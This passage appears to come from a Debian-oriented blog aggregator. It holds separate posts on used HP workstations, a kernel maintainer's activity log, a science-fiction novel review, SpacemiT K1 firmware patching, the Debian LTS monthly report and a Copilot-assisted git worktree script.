2021, so presumably no complaints means that Dell servers from that era support it. But the T350 servers are junk and only take slow CPUs, and the T550 systems are brutally expensive. The Precision 5520 systems don t support it and newer Precision workstations will get expensive. It seems that HP is best for this. Which HP Workstation The Z2 G4 only supports 64G of RAM so isn t worth considering. The Z4 G4 is low end and comes in two variants. The one with i5/i7/i9 CPUs doesn t support ECC RAM so isn t suitable for me, and that probably means most Z4 G4 systems on the market. The upside is that apparently 2*6pin PCIe power cables is standard so any size GPU should work and there are 8 DIMM slots supporting up to 512G of RAM. There are 3 options for PSU, 490w for 0 GPUs, 750W for 2 (small) GPUs, and 1000W for up to 4 GPUs. The Z6 G4 has an option for a second CPU that almost no-one selects, that reduces the space for RAM so there s only 6 DIMM slots. But as there is no option for a Z6 without ECC RAM every one on offer will be good. The Z8 G4 is a nice dual socket system that I would not use for a serious GPU after my experience of my Z840 having a motherboard problem from a big GPU. The Z4 G4 is going for about $500 on ebay with the 750W PSU, that is more than I want to pay but not a lot more. In 6 months they could be going for $350 or so. There are hardly any Z6 G4 systems on offer and they are all well over $1000 so I m not considering them. Conclusion I need to poll the second hand sites for Z4 G4 systems and find one going cheap. One of those could be a good ML test machine for a while and then become a workstation once the faster CPUs (which are currently around $900) become cheap.

• Debian packages:
  • firmware-nonfree:
    • Bugs:
      • replied to #1132448: firmware-mediatek: Wifi perf degraded a lot after upgrade firmware-mediatek from 20250410-2 to 20260221-1~bpo13+1 and 20260309-1
    • Merge requests:
      • merged !142: Replace copy-firmware.sh; install files and generate metainfo.xml at build time
      • opened and merged !143: Clean up configuration format and directory
      • opened and merged !144: Remove usr-move mitigation, only needed for the trixie upgrade
      • opened and merged !145: Update to 20260410
    • Uploads:
      • uploaded version 20260309-1~bpo13+1 to trixie-backports
      • uploaded version 20260410-1 to unstable
      • uploaded version 20260410-1~bpo13+1 to trixie-backports
  • initramfs-tools:
    • Bugs:
      • replied to #1135141: please be more careful with available disk space on /boot
    • Merge requests:
      • merged !192: [Backport to Trixie] hook-functions: Add Cadence USB driver to base
      • merged !194: d/t/qemu-net-iscsi: determinate boot by LABEL
    • Uploads:
      • uploaded version 0.151 to unstable
  • kernel-handbook:
    • Merge requests:
      • opened and merged !11: Update documentation for rebuilding official kernel packages
      • opened !12: Update description of ABI name and delete section about ABI maintenance
      • opened !13: Update list of packages
  • ktls-utils:
    • Merge requests:
      • opened and merged !4: Revert configure: Disable use of GnuTLS API not yet accepted upstream
      • opened !5: Draft: Update to 1.4.0-rc1
  • linux:
    • Bugs:
      • closed #1113728: linux: new ABI versioning prevents linux-version and other tools from correctly sorting Debian revisions
      • closed #1113996: linux-image-amd64: self-tests for sha256 using sha256-padlock-nano failed
      • closed #1122357: linux: Please update udeb packages to use non-aliased paths
      • closed #1127612: linux-image-6.12.69+deb13-amd64: hp_bioscfg mm/page_alloc.c:4802 warning
      • replied to #1130926: systemd powering hard disks down before reboot
      • closed #1130971: linux-image-6.19.8+deb14-amd64: fails to boot unless IOMMU is turned off
      • closed #1131166: enable uniwill platform driver
      • closed #1131431: linux: loong64 KVM warnings (memcpy + UBSAN out-of-bounds)
      • closed #1131546: linux: debian/b/test-patches does not produce easy to test (unsigned) image package
      • closed #1132155: linux: Missing kernel module udebs in some architectures
      • closed #1132201: linux: Please enable CONFIG_VIDEO_OV02E10 to support ipu6 camera on Dell Precision 5690
      • closed #1132622: CVE-2026-23417: fix BPF PROBE_MEM32 constant blinding
      • closed #1132796: linux-kbuild is missing scripts/gen-btf.sh
      • closed #1132814: linux-source-6.19: please enable CONFIG_VIDEO_INTEL_IPU7
      • replied to #1132816: linux-image-rt-amd64: missing ip_tables.ko in linux-image-rt-amd64
    • Merge requests:
      • merged !1864: [amd64] drivers/media/i2c: Enable VIDEO_OV02E10 as module
      • opened !1869: Cleanup for kernel-wedge
      • opened !1870: kernel-wedge, udeb: Define which packages to build through package-list
      • opened !1871: Update udeb package definitions
      • reviewed !1872: Install bug files via debhelper
      • merged !1877: [amd64] drivers/staging/media/ipu7: Enable VIDEO_INTEL_IPU7 as module
      • opened !1880: Fix FTBFS on several architectures
      • reviewed !1885: bug script: Extend several parts
      • opened and merged !1891: linux-image: Add retrospective NEWS entry for the removal of XFS V4 support
      • merged !1897: Add selection of bugfixes for 6.1.y on top of 6.1.170
    • Uploads:
      • (LTS) uploaded version 5.10.251-3 to bullseye-security
      • uploaded version 6.12.85-1~bpo12+1 to bookworm-backports
      • uploaded version 6.19.10-1~bpo13+1 to trixie-backports
      • uploaded version 6.19.11-1~bpo13+1 to trixie-backports
      • uploaded version 6.19.13-1~bpo13+1 to trixie-backports
      • uploaded version 7.0-1~exp1 to experimental
    • (LTS) updated the bullseye-security branch to 5.10.253, but did not upload this version
    • (LTS) worked on regression fixes for 5.10/5.15/6.1 upstream stable branches
  • (LTS) linux-6.1:
    • Uploads:
      • uploaded version 6.1.170-1~deb11u1 to bullseye-security
  • linux-base:
    • Bugs:
      • closed #1128562: /usr/bin/linux-check-removal: Use of uninitialized value $_[2] in join or string at /usr/share/perl5/Debconf/Client/ConfModule.pm line 122.
    • Merge requests:
      • merged !20: Simplify install file
  • openntpd:
    • Bugs:
      • closed #791335: openntpd: should set the clock status (ADJ_STATUS) to have the RTC updated by the kernel
• Debian non-package bugs:
  • wnpp:
    • replied to #1134655: ITP: forge-git library and CLI for working with git forges
• Mailing lists:
  • debian-kernel:
    • posted Agenda items for kernel-team meeting on 2026-04-08
    • replied to generating linux-image-$ VERSION -amd64 locally
  • initramfs:
    • posted initramfs-tools 0.151 release
  • stable:
    • (LTS) reviewed 5.10.253-rc1 and replied to various patches included in it
    • replied to [PATCH 5.10.y] x86/cpu: Enable FSGSBASE early in cpu_init_exception_handling()

Review: What We Are Seeking, by Cameron Reed

Publisher:	Tor
Copyright:	2026
ISBN:	1-250-36474-4
Format:	Kindle
Pages:	339

What We Are Seeking is a bit hard to classify beyond science fiction. I think I would call it anthropological science fiction, but it's also a first contact story and a planetary colony story. It is a standalone novel (well, so far as I know; see later in the review for caveats). This is Cameron Reed's second novel after the excellent and memorable cyberpunk novel The Fortunate Fall, first published in 1996 under Reed's former name of Raphael Carter. John Maraintha is a doctor from the world of Essius. He took what he thought was a temporary job on the Free Ship Edgar's Folly, where he's endured considerable culture shock. As the novel opens, John learns that the colonists on Scythia have requested a translator to talk to one of the native life forms, and a doctor since they're down to only one. John will be that doctor. The captain has decided, and by the rules of the free ships, John does not get a choice in the matter. The Scythian colony is about four hundred people, now located in a desert climate since the complex native life forms destroyed their previous settlement. The colonists are a split between Ischnurans and Zandaheans, two other human civilizations from the scatter of colony worlds left after Earth embraced AIs (aiyis here) and turned inward. Both of those groups marry, something John considers a moral abomination. Neither of them seem likely to understand Essian sexual ethics. More devastatingly, John had intended to spend some time as a ship doctor and then return home to a new place in Essian society. Once he lands on Scythia, the chances of that are gone; it is highly unlikely any ship would pick him up again and take him home. I have been trying to find the right books to compare What We Are Seeking with ever since I read it. The best I've come up with are Ursula K. Le Guin (particularly The Dispossessed), Eleanor Arnason's A Woman of the Iron People, and Becky Chambers's To Be Taught, If Fortunate. The start of the book felt like an intentional revisiting of an earlier era of science fiction, with somewhat updated science and politics, but the last half of the book, where the action picks up considerably, is a meditation on gender, social systems, religion, and small-group politics. All of that is mixed with biological exploration and a first-contact story with some quite-alien aliens. This is the sort of novel where the protagonist's culture is as foreign to the reader as any of the other cultures he counters, so the reader is assembling several jigsaw puzzles at once. John is dropped into an established colony with its own social norms and established hierarchies. The one other outsider, the translator Sudharma Jain, is, as his name implies, a Jain who keeps very strict religious observances. Half of the colony is from something akin to a fundamentalist Christian religious sect that practices patriarchy and strict marriage codes. The other half is more gently sexist (but still sexist) and has its own tradition of a third gender that becomes central to the story. John, meanwhile, is a strong believer in the Essian approach to social organization: Any two partners of any gender freely have sex by mutual consent and without obligation, and family is based solely on blood relations. These beliefs do not fit comfortably together, even when people are trying (as they mostly do) to be welcoming. The first half of this book is very slow. This gives all of the characters space to breathe and become comfortable, and the characterization is superb, but it is a book to start when you're in the mood for something slow and observational. There is a plot that gradually becomes apparent, or rather there are several plots that are intertwined, but tension and urgency are mostly reserved for the second half of the book. Instead, the book opens with a lot of close observation of alien flora and fauna and the untangling of subtle social dynamics among the Scythians. There is also a visitor from earth, much to the distress of the Scythians. Earth presence means the ships will not return and the colony may be cut off from any sort of technological resupply. Despite speaking a common language, that visitor is as mutually alien to the other groups as they are to the native flora. Her life is fully integrated with aiyis, giving her essentially godlike powers and the ability to turn off inconvenient emotions and disregard anything she doesn't want to see. What she and the Earth aiyis are doing on the planet is one of the early mysteries. The dialogue in this book is truly excellent. Each characters has their own voice, there are fascinating digressions on different words that lead to tidbits of world-building, and some of the culture-specific idioms are delightful.

"I'm making a mess of this. None of that matters. Let me fall out the window and come in the door again. This is how my story ought to start:"

The challenges for the characters in this story are slow but deep ones: belonging and self-definition, the conflict between cultural tradition and personal circumstance, and the sacrifices required to live with small groups in situations where civil war is viscerally attractive. It has one of the most comprehensive and fascinating treatments of transgender issues that I've read in science fiction. Its commentary on current politics is subtle and estranged in the way that science fiction does best, but still pointed and satisfying. And, well, there are passages like this that I absolutely adore:

"I wouldn't go that far. It could be they are right, the universe we see exists because a mind like ours created it at least, a mind enough like ours that we can say it wants one thing and not another, and when it acts it does so with intent. That's as good an idea as any. But it is certainly not plausible that such a being believes that people everywhere should marry, or that men should never visit men, or no one should become a jess. Look at what they have created. The universe could have been nothing at all, or one atom of hydrogen floating in a void, or a diamond crystal infinite in all directions, if their mind cared for simplicity or tidiness. Instead we have stars and planets and black holes and nebulas. It could have all been cold and dead, but there is life. They could have made one species for each world, or just a few, which could have stayed the same forever, but instead we have millions and millions, all of which are changing every moment, varying among themselves and boiling off in all directions. Such a god is like an artist who fills up a library of sketchbooks with their drawings of strange creatures, and when every scrap of paper in the place is used up, goes back with a different color ink and scribbles over them again. They are obsessed with variation they gorge themselves with it and never grow full. Do you really think a mind like that could want us all to live in the same way?"

I had one problem with this book, though, and for me it was a big one: There is no ending. Reed effectively builds tension, gets me caring about all of the characters, sets up several problems, starts down a path towards resolution, and then the book just... ends. Long-time readers of my reviews will know that I'm a denouement fanatic. I want the scouring of the shire, I want the chapter set in the happily ever after, I want the catharsis of an ending. This made me so grumpy! To be clear, this is not sequel bait (at least so far as I can tell). I can write a philosophical defense of the ending. The types of problems and lives that Reed set up don't have clear endings; this is, to some extent, the point. We muddle through, and then those who come after us muddle through some more, and the cumulative effect is called human civilization. And there is some denouement; Reed doesn't leave the reader at a cliffhanger or anything that egregious. But still, I wanted the happy ending, even though that was unrealistic for the style of story this is, because I'm a happy ending reader. This is not an ending sort of book; it's the sort of book where I get a sinking feeling at the 95% mark because there aren't enough pages left for the number of remaining unresolved problems. I've gotten less annoyed in the days since I finished the book, and I can appreciate the thematic point made by how the book ends, but I still feel like it's worth an advance warning if you're a reader like I am. I would be delighted by a sequel, but it didn't feel like that was the intent. Apart from that, this was both excellent and rather unlike a lot of current science fiction. I think the closest comparison I can make among recent novels I've read is Sue Burke's Semiosis. What We Are Seeking has a similar sort of world-building, but I liked these characters so much more. It felt like a classic literary science fiction novel, but very much written in 2026. Highly recommended, just beware of the lack of closure. Content notes: Sexism, homophobia, stomach illness, and some religious abuse. Rating: 8 out of 10

The SpacemiT K1 is a rather interesting RISC-V SoC, found for instance on boards like the Banana Pi BPI-F3 board. It's one of those platforms that looked promising on paper, but took a bit of time before things really started to move upstream. Things have clearly accelerated over the last few months. Linux 7.0 brings, among other things PCIe support, making the board quite capable as a development board. SD card, CPU thermal sensor and cpufreq support are already in the pipe. Unfortunately the situation is less advanced on the firmware side. There is only very basic support for the SpacemiT K1 in U-Boot for the second stage, and initial SPL support has been posted on the mailing list, but has not yet been merged. In practice, this means you still have to rely on the vendor U-Boot, which is based on the rather old 2022.10 release. On the other hand, OpenSBI does have upstream support for the SpacemiT K1, however it is not compatible with the vendor U-Boot, mostly due to device tree differences. This can be addressed by applying a few patches to the vendor U-Boot, which I have published in a git tree in the k1-bl-v2.2.y-opensbi branch (technically this can also be handled on the OpenSBI side, but I prefer using a vanilla upstream OpenSBI version). The first two patches update the configuration to get closer to the upstream U-Boot defaults, and to enable some configuration options for the Milk-V Jupiter board, which stores its firmware in SPI NOR flash, instead of eMMC for the Banana Pi BPI-F3. The following patches update the device tree by adding extra compatible entries to several devices, as expected by the upstream kernel and OpenSBI (thanks to Troy Mitchell for the hint about the UART change) and update the CPU riscv,isa properties. Finally an additional patch adds the SpacemiT P1 PMIC to the device tree, which is required for the OpenSBI reboot patchset I recently posted (this is currently done only for the Banana Pi BPI-F3 and Milk-V Jupiter boards, but extending it to other boards should be straightforward). Building this U-Boot version is as simple as running this command in the source directory: On a Banana Pi BPI-F3 board, the resulting U-Boot can be flashed with: Building upstream OpenSBI is also fairly simple, and can be done by running this command in the source directory: On a Banana Pi BPI-F3 board, the resulting OpenSBI can be flashed with: Note that the vendor U-Boot version is patched to install OpenSBI in a separate partition instead of embedding, as the upstream U-Boot does. While this works well on the Banana Pi BPI-F3, the corresponding partition in the Milk-V Jupiter SPI NOR flash is too small for the upstream OpenSBI version, and can't be easily resized without breaking compatibility. To address this, the branch k1-bl-v2.2.y-opensbi-embedded contains an additional patch (a bit hackish I admit) to somehow restore the upstream approach. The build process remains simple, first build OpenSBI with the following command: Then build U-Boot, specifying the patch to the just built OpenSBI firmware: On a Milk-V Jupiter board, the resulting combined U-Boot/OpenSBI can be flashed with: This combined U-Boot/OpenSBI can also be used on a Banana Pi BPI-F3, using the same flashing procedure as above, while skipping the OpenSBI part (although running it won't cause any issue, it will simply be unused). All of this is admittedly a bit hackish, but enabling the use of upstream OpenSBI is already one step forward. Hopefully, in a few months, we will be able to rely entirely on upstream U-Boot.

The Debian LTS Team, funded by [Freexian s Debian LTS offering] (https://www.freexian.com/lts/debian/), is pleased to report its activities for March.

Activity summary During the month of March, 20 contributors have been paid to work on Debian LTS (links to individual contributor reports are located below). The team released 24 DLAs fixing 250 CVEs. We also welcomed two new members: Lukas M rdian and Emmanuel Arias to the team, who actually started to contribute to the LTS project several months ago. The team continued preparing security updates in its usual rhythm. Beyond the updates targeting Debian 11 ( bullseye ), which is the current release under LTS, the team also proposed updates for more recent releases (Debian 12 ( bookworm ) and Debian 13 ( trixie )), including Debian unstable. We highlight several notable security updates here below.

• ansible (DLA 4502-1), prepared by Lee Garret in collaboration with Jochen, fixing a vulnerability that allows attackers to bypass unsafe content protections
• asterisk (DLA 4515-1), prepared by Lukas M rdian, fixing four CVEs that include possible privilege escalations.
• gimp (DLA 4500-1), prepared by Thorsten, fixing four CVEs related to denial of service or execution of arbitrary code.
• gst-plugins-base1.0 and gst-plugins-ugly1.0 (DLA-4514-1, DLA-4516-1, respectively), both prepared by Utkarsh, addressing vulnerabilities that may yield to arbitrary code execution.
• imagemagick, released by Bastien Roucari s (DLA 4497-1) fixing multiple vulnerabilities that could lead to information leaks, bypass of security policies, denial of service or arbitrary code execution.
• libpng1.6 (DLA 4521-1), prepared by Tobias Frost, fixing an arbitrary code execution vulnerability
• linux: Ben Hutchings released DLA 4498-1 and DLA 4499-1 for linux 5.10 and linux 6.1, respectively. Those updates especially address the CrackArmor flaw.
• ruby-rack (DLA 4505-1), prepared by Utkarsh Gupta, addressing two vulnerabilities
• strongswan (DLA 4512-1), prepared by Thorsten Alteholz, fixing a Denial of Service vulnerability
• roundcube (DLA 4517-1) prepared by Guilhem Moulin, who discovered that one of the fixes provided by upstream was incomplete.

Contributions from outside the LTS Team: As usual, the thunderbird update, released as DLA 4511-1, was prepared by its maintainer Christoph Goehre. Thanks a lot for his continuous contributions. The LTS Team has also contributed with updates to the latest Debian releases:

• Andreas Henriksson completed the uploads of glib2.0 for both trixie and bookworm
• Arnaud Rebillout: python-cryptography for trixie
• Arnaud and Bastien worked together to prepare a ca-certificates-java release for unstable
• Bastien completed the upload of gpsd for trixie that was proposed in January.
• Bastien uploaded a regression update of apache2 for trixie
• Bastien prepared a zabbix point update for trixie
• Bastien in collaboration with Markus released netty updates for trixie and bookworm DSA 6160-1
• Daniel Leidert proposed python-tornado releases for both trixie and bookworm.
• Daniel also prepared a python-authlib update for trixie
• Guilhem prepared a mapserver update for bookworm.
• Lucas Kanashiro proposed merge requests to fix three CVEs in erlang for both trixie and bookworm
• Sylvain Beucler continued the work to replace p7zip with 7zip in the different supported releases, and proposed a point update for bookworm
• Tobias prepared trixie and bookworm security updates, released as DSA-6189-1
• Utkarsh prepared trixie and bookworm security update for ruby-rack, released as DSA-6180-1

Individual Debian LTS contributor reports

• Andreas Henriksson
• Andrej Shadura
• Arnaud Rebillout
• Bastien Roucari s
• Ben Hutchings
• Carlos Henrique Lima Melara
• Chris Lamb
• Daniel Leidert
• Emilio Pozuelo Monfort
• Guilhem Moulin
• Jochen Sprickerhof
• Lee Garrett
• Lucas Kanashiro
• Lukas M rdian
• Markus Koschany
• Santiago Ruano Rinc n
• Sylvain Beucler
• Thorsten Alteholz
• Tobias Frost
• Utkarsh Gupta

Thanks to our sponsors Sponsors that joined recently are in bold.

• Platinum sponsors:
  • Toshiba Corporation (for 126 months)
  • Civil Infrastructure Platform (CIP) (for 94 months)
  • VyOS Inc (for 59 months)
• Gold sponsors:
  • F. Hoffmann-La Roche AG (for 137 months)
  • CONET Deutschland GmbH (for 120 months)
  • University of Oxford (for 77 months)
  • EDF SA (for 48 months)
  • Dataport A R (for 23 months)
  • CERN (for 21 months)
• Silver sponsors:
  • Domeneshop AS (for 141 months)
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  • Akamai - Linode (for 131 months)
  • Univention GmbH (for 127 months)
  • Universit Jean Monnet de St Etienne (for 127 months)
  • Ribbon Communications, Inc. (for 121 months)
  • Exonet B.V. (for 111 months)
  • Leibniz Rechenzentrum (for 105 months)
  • Minist re de l Europe et des Affaires trang res (for 89 months)
  • Dinahosting SL (for 76 months)
  • Upsun Formerly Platform.sh (for 71 months)
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  • sipgate GmbH (for 62 months)
  • OVH US LLC (for 60 months)
  • Tilburg University (for 60 months)
  • GSI Helmholtzzentrum f r Schwerionenforschung GmbH (for 52 months)
  • THINline s.r.o. (for 24 months)
  • Copenhagen Airports A/S (for 18 months)
  • Conseil D partemental de l Is re (for 4 months)
• Bronze sponsors:
  • Seznam.cz, a.s. (for 142 months)
  • Evolix (for 141 months)
  • Linuxhotel GmbH (for 139 months)
  • Intevation GmbH (for 138 months)
  • Daevel SARL (for 137 months)
  • Megaspace Internet Services GmbH (for 136 months)
  • Greenbone AG (for 135 months)
  • NUMLOG (for 135 months)
  • WinGo AG (for 134 months)
  • Entr ouvert (for 126 months)
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  • Plat Home (for 120 months)
  • Laboratoire LEGI - UMR 5519 / CNRS (for 118 months)
  • Tesorion (for 118 months)
  • Bearstech (for 110 months)
  • LiHAS (for 110 months)
  • Catalyst IT Ltd (for 104 months)
  • Demarcq SAS (for 98 months)
  • Universit Grenoble Alpes (for 84 months)
  • TouchWeb SAS (for 76 months)
  • SPiN AG (for 73 months)
  • CoreFiling (for 69 months)
  • Observatoire des Sciences de l Univers de Grenoble (for 61 months)
  • Tem Innovations GmbH (for 55 months)
  • WordFinder.pro (for 55 months)
  • CNRS DT INSU R sif (for 54 months)
  • Soliton Systems K.K. (for 49 months)
  • Alter Way (for 47 months)
  • SOBIS Software GmbH (for 21 months)
  • Tuxera Inc. (for 13 months)
  • OPM-OP AS (for 4 months)

Over the past few weeks I ve been developing and using a personal command-line tool called gwt (Git Worktree) to manage Git repositories using worktrees. This article explains what the tool does, how it evolved, and how I used GitHub Copilot CLI to develop it (in fact the idea of building the script was also to test the tool).

The Problem: Managing Multiple BranchesI was working on a project with multiple active branches, including orphans; the regular branches are for fixes or features, while the orphans are used to keep copies of remote documents or store processed versions of those documents. The project also uses a special orphan branch that contains the scripts and the CI/CD configuration to store and process the external documents (it is on a separate branch to avoid mixing its operation with the main project code). The plan is trigger a pipeline against the special branch from remote projects to create or update the doc branch for it in our git repository, retrieving artifacts from the remote projects to get the files and put them on an orphan branch (initially I added new commits after each update, but I changed the system to use force pushes and keep only one commit, as the history is not really needed). The original documents have to be changed, so, after ingesting them, we run a script that modifies them and adds or updates another branch with the processed version; the contents of that branch are used by the main branch build process (there we use git fetch and git archive to retrieve its contents). When working on the scripts to manage the orphan branches I discovered the worktree feature of git, a functionality that allows me to keep multiple branches checked out in parallel using a single .git folder, removing the need to use git switch and git stash when changing between branches (until now I ve been a heavy user of those commands). Reading about it I found that a lot of people use worktrees with the help of a wrapper script to simplify the management. After looking at one or two posts and the related scripts I decided to create my own using a specific directory structure to simplify things. That s how I started to work on the gwt script; as I also wanted to test copilot I decided to build it using its help (I have a pro license at work and wanted to play with the cli version instead of integrated into an editor, as I didn t want to learn a lot of new keyboard shortcuts).

The gwt Philosophy: Opinionated and Transparentgwt enforces a simple, filesystem-visible model:

• Exactly one bare repository named bare.git (treated as an implementation detail)
• One worktree directory per branch where the directory name matches the branch name
• Single responsibility: gwt doesn t try to be a general git wrapper; it only handles operations that map cleanly to this layout

The repository structure looks like this:

my-repo/
+-- bare.git/           # the Git repository (internal)
+-- main/               # worktree for branch "main"
+-- feature/api/        # worktree for branch "feature/api"
+-- fix/docs/           # worktree for branch "fix/docs"
+-- orphan-history/     # worktree for the "orphan-history" branch

The tool follows five core design principles:

1. Explicit over clever: Git commands are not hidden or reinterpreted
2. Transparent execution: Every operation is printed before it happens
3. Safe, preview-first operations: Destructive commands default to preview, confirmation, then apply
4. Shell-agnostic core: The script never changes the caller s working directory (shell wrappers handle that)
5. Opinionated but minimal: Only commands that fit the layout model are included

Core CommandsThe script provides these essential commands:

• gwt init <url> Clone a repository and set up the gwt layout
• gwt convert <dir> Convert an existing Git checkout to the gwt layout
• gwt add [--orphan] <branch> [<base>] Create a new worktree (optionally orphaned)
• gwt remove <branch> Remove a worktree and unregister it (asks the user to remove the local branch too, useful when removing already merged branches)
• gwt rename <old> <new> Rename a branch AND its worktree directory
• gwt list List all worktrees
• gwt default [<branch>] Get or set the default branch
• gwt current Print the current worktree or branch name

Except init and convert all of the commands work inside a directory structure that follows the gwt layout, which looks for the bare.git folder to find the root folder of the structure. As I don t want to hide which commands are really used by the wrapper, all git and filesystem operations pass through a single run shell function that prints each command before executing it. This gives complete visibility into what the tool is doing. Also, destructive operations (remove, rename) default to preview mode:

$ gwt remove feature-old --dry-run
+ git -C bare.git branch -d feature-old
+ git -C bare.git worktree remove feature-old/
Apply these changes? [y/N]:

The user sees exactly what will happen, can verify it s correct, and only then confirm execution.

Incremental Development with CopilotThe gwt script has grown from 597 lines in its original version (git-wt) to 1,111 lines when writing the first draft of this post. This growth happened through incremental, test-driven development, with each feature being refined based on real usage patterns. What follows is a little history of the script evolution written with the help of git log.

Initial versionFirst I wrote a design document and asked copilot to create the initial version of the git-wt script with the original core commands. I started to use the tool with a remote repostory (I made copies of the branches in some cases to avoid missing work) and fixed bugs (trivial ones with neovim, larger ones asking copilot to fix the issues for me, so I had less typing to do).

First command updateOne of the first commands I had to enhance was rename:

• as I normally use branches with / on their name and my tool checks out the worktrees using the branch name as the path inside the gwt root folder (i.e. a fix/rename branch creates the fix directory and checks the branch inside the fix/rename folder) the rename command had to clean up the empty parent directories
• when renaming a worktree we move the folders and fix the references using the worktree repair command to make things work locally, but the rename also affects the remote branch reference, to avoid surprises the command unsets the remote branch reference so it can be pushed again using the new name (of course, the user is responsible of managing the old remote branch, as the gwt can t guess what it should do with it).

Integration with the shellAs I use zsh with the Powerlevel10k theme I asked copilot to help me add visual elements to the prompt when working with gwt folders, something that I would have never tried without help, as it would have required a lot of digging on my part on how to do it, as I never looked into it. The initial version of the code was on an independent file that I sourced from my .zshrc file and it prints on the right part of the prompt when we are inside a gwt folder (note that if the folder is a worktree we see the existing git integration text right before it, so we have the previous behavior and we see that it is a gwt friendly repo) and if we are on the root folder or the bare.git folder we see gwt or bare (I added the text because there are no git promts on those folders). I also asked copilot to create zsh autocompletion functions (I only use zsh, so I didn t add autocompletion for other shells). The good thing here is that I wouldn t have done that manually, as it would have required some reading to get it right, but the output of copilot worked and I can update things using it or manually if I need to. One thing I was missing from the script was the possibility of changing the working directory easily, so I wrote a gwt wrapper function for zsh that intercepts commands that require shell cooperation (changing the working directory) and delegates everything else to the core script. Currently the function supports the following enhanced commands:

• cd [<branch>]: change into a worktree or the default one if missing
• convert <dir>: convert a checkout, then cd into the initial worktree
• add [--orphan] <branch> [<base>]: create a worktree, then cd into it on success
• rename <old> <new>: rename a worktree, then cd into it if we were inside it

Note that the cd command will not work on other shells or if the user does not load my wrapper, but the rest will still work without the working directory changes.

Renaming the commandAs I felt that git-wt was a long name I renamed the tool to gwt, I could have done it by hand, but using copilot I didn t have to review all files by myself and it did it right (note that I have it configured to always ask me before doing changes, as it sometimes tries to do something I don t want and I like to check its changes as I have the files in git repos, I manually add the files when I like the status and if the cli output is not clear I allow it to apply it and check the effects with git diff so I can validate or revert what was done).

The convert commandAfter playing with one repo I added the convert subcommand for migrating existing checkouts, it seemed a simple task at first, but it took multiple iterations to get it right, as I found multiple issues while testing (in fact I did copies of the existing checkouts to be able to re-test each update, as some of the iterations broke them). The version of the function when this post was first edited had the following comment explaining what it does:

# ---------------------------------------------------------------------------
# convert - convert an existing checkout into the gwt layout
# ---------------------------------------------------------------------------
#
# Must be run from the parent directory of <dir>.
#
# Steps:
#   1. Read branch from the checkout's HEAD
#   2. Rename <dir> to <dir>.wt.tmp (sibling, same filesystem)
#   3. Create <dir>/ as the new gwt root
#   4. Move <dir>.wt.tmp/.git to <dir>/bare.git; set core.bare = true
#   5. Fix fetch refspec (bare clone default maps refs directly, no remotes/)
#   6. Add a --no-checkout worktree so git wires up the metadata and
#      creates <dir>/<branch>/.git (the only file in that dir)
#   7. Move that .git file into the real working tree (<dir>.wt.tmp)
#   8. Remove the now-empty placeholder directory
#   9. Move the real working tree into place as <dir>/<branch>
#  10. Reset the index to HEAD so git status is clean
#      (--no-checkout leaves the index empty)
#  11. Create <dir>/.git -> bare.git symlink so plain git commands work
#      from the root without --git-dir
#
# The .git file ends up at the same absolute path git recorded in step 5,
# so no worktree repair is needed. Working tree files are never modified.

The .git link was added when I noticed that I could run commands that don t need the checked out files on the root of the gwt structure, which is handy sometimes (i.e. a git fetch or a git log, that shows the log of the branch marked as default). After playing with commands that used the bare.git folder I updated the init and convert commands to keep the origin refs, ensuring that the remote tracking works correctly.

Improving the add commandWhile playing with the tool on more repos I noticed that I also had to enhance the add command to better handle worktree creation, depending on my needs. Right now the tool supports the following use cases:

• if the branch exists locally or on origin, it just checks it out.
• if the branch does not exist, we create it using the given base branch or, if no base is given, the current worktree (if we are in the root folder or bare.git the command fails).
• as I needed it for my project, I added a --orphan option to be able to create orphan branches directly.

Moving to a single fileEventually I decided to make the tool self contained; I removed the design document (I moved the content to comments on the top of the script and details to comments on each function definition) and added a pair of commands to print the code to source for the p10k and zsh integration (autocompletion & functions), leaving everything in a single file. Now my .zshrc file adds the following to source both things:

# After loading the p10k configuration
if type gwt >/dev/null 2>&1; then
  source <(gwt p10k)
fi
[...]
# After loading autocompletion
if type gwt >/dev/null 2>&1; then
  source <(gwt zsh)
fi

VersioningAs I modified the script I found interesting to use CalVer-based versioning (the version variable has the format YYYY.mm.dd-r#) so I added a subcommand to show its value or bump it using the current date and computing the right revision number.

About the use of copilotAlthough I ve never been a fan of AI tools I have to admit that the copilot CLI has been very useful for building the tool:

• Rapid prototyping: Each commit represented a small feature or fix that I could implement, test immediately in my actual workflow, and iterate on based on the result
• Edge case handling: Rather than trying to anticipate every scenario upfront, I could ask Copilot how to handle edge cases as they appeared in real usage
• Script refinement: Questions like "how do I clean up empty directories after a rename" or "how do I detect if I m inside a specific worktree" were quickly answered with working code
• Shell integration: The Zsh wrapper and completion system grew from simple prototypes to sophisticated features, with each iteration informed by how I actually used the tool

For example, the convert command started as a simple rename operation, but evolved to also create a .git symlink and intelligently handle various migration scenarios all because I used it repeatedly and refined the implementation each time.

Self-Contained and Opinionatedgwt is deliberately opinionated:

• Zsh & Powerlevel10k Integration: The tool includes built-in Zsh shell integration, accessed via source <(gwt zsh) and supports adding a prompt segment when using p10k, as described earlier.
• Directory Structure: The bare.git directory name is non-negotiable. This is how gwt discovers the repository root from any subdirectory, and how the tool knows whether a directory is a gwt repository. The simplicity of this marker means the discovery mechanism is foolproof and requires no configuration.
• No Configuration Files: gwt deliberately has no configuration. There are no .gwtrc files or config directories. This makes it portable; the tool works the same way everywhere, and repositories can be shared across systems without synchronizing configuration.

From Script to SystemWhat started as a small helper script for managing worktrees has become a complete system:

1. Core script (gwt): 1,111 lines of pure shell, no external dependencies
2. Shell integration: Zsh functions and completions
3. Prompt integration: Powerlevel10k segment
4. Documentation: Built-in help and design philosophy documentation

The script is self-contained, everything needed for the tool to work is in a single file. This makes it trivial to update (just replace the script) or audit (no hidden dependencies).

Development with AI supportDeveloping gwt with copilot taught me some things:

• Incremental refinement works well for small tools: Each iteration informed the next, resulting in a tool that handles real use cases elegantly
• Transparency is a feature: Making operations visible builds confidence and is easier to debug
• Opinionated tools can be powerful: By constraining the problem space (one bare repo, one worktree per branch), the solution becomes simpler and more robust
• Shell integration matters: The same core commands are easier to use when they can automatically change directories and provide completions
• Real-world testing is essential: I wouldn t have discovered the need for automatic directory cleanup or context-aware cd behavior without actually using the tool daily

What was next?The tool is stable and handles my daily workflow well, so my guess is that I would keep using it and fixing issues if or when I found them, but I do not plan to include additional features unless I find a use case that justifies it (i.e. I never added support for some of the worktree subcommands, as it is easier to use the git versions if I ever needed them).

What really happenedWhile editing this post I discovered that I needed to add another command to it and fixed a bug (see below). With those changes and the inclusion of a license and copyright notice (just in case I distribute it at some point) now the script is 1,217 lines long instead of the 1,111 it had when I started to write this entry.

